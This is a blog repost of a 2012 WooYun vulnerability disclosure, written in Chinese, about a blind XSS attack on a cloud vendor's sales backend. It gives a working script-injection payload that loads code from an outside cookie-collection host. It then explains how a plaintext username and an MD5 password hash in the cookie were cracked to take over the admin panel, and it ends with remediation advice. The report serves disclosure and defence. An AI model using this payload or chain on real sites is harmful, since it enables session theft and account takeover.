您的位置 » 首页 » 渗透测试 » XSS盲打遇到会话过期的另一种小思路

XSS盲打遇到会话过期的另一种小思路

发表于5年前 | 作者: seay | 分类: 渗透测试 | 孵化于:2012年10月24日 | 文章热度:5,109 次 全屏阅读

显示不全请点击全屏阅读

缺陷编号: WooYun-2012-11929

漏洞标题: 当盲打输入框遇到XSS,当XSS遇到会话过期,当会话过期遇到错误的COOKIES写法。

相关厂商: 杭州纬聚网络有限公司

漏洞作者: imlonghao

提交时间: 2012-09-08

漏洞类型: xss跨站脚本攻击

=======================================

详细说明

之前和阿华说过了这个XSS,貌似已经补了,删掉了<和”

现在和下面的漏洞一起提上来刷个分~嘿嘿…

之前的测试帐号没被删除,只是被禁用了,在后台显示的时候依然会显示出来,XSS代码也会显示出来。

今天去看XSS的列表,又发现了UPYUN的地址,于是就去折腾他的COOKIES信息,发现,居然将用户的帐号以明文和密码以MD5 32位的方式记录在COOKIES中,无语ing…..

于是,用正确的密码进入了后台,发现可以重置用户密码,重置后的后果你懂的~~

=======================================

漏洞证明

1、去免费申请申请一个帐号,在个人信息中写上XSS代码。

 

1
"><script src=http://xsser.me/pIQKKz></script>

 

2、当管理看到我的信息的时候,跨了~

 

3、当我拿着COOKIES和地址欺骗登录的时候,郁闷了,居然session会话失效

 

4、就在郁闷之际,看了看COOKIES,发现了奇葩之处,用URIComp解码了下,发现了一个password字段,目测一下,是一个32位MD5加密的字段,于是乎,CMD5之,收费。经过一轮求破解,知道了密码,貌似居然弱口令……

 

5、碉堡了,成功进入后台

========

各种功能

 

手机

 

=======================================

修复方案

 

后台不对公网公开

优化COOKIES的写法?您看过哪些站的COOKIES里面有密码的

在公司里强调不要使用弱口令等等,要修改强密码~别扣工资就行,不然他会怪我的…

 

Link:http://imlonghao.com/post/2012-10-20/%E7%9B%B2%E6%89%93%E5%8F%88%E6%8B%8D%E4%BA%91%E9%94%80%E5%94%AE%E5%90%8E%E5%8F%B0

Tags:

XSS盲打,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1518/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)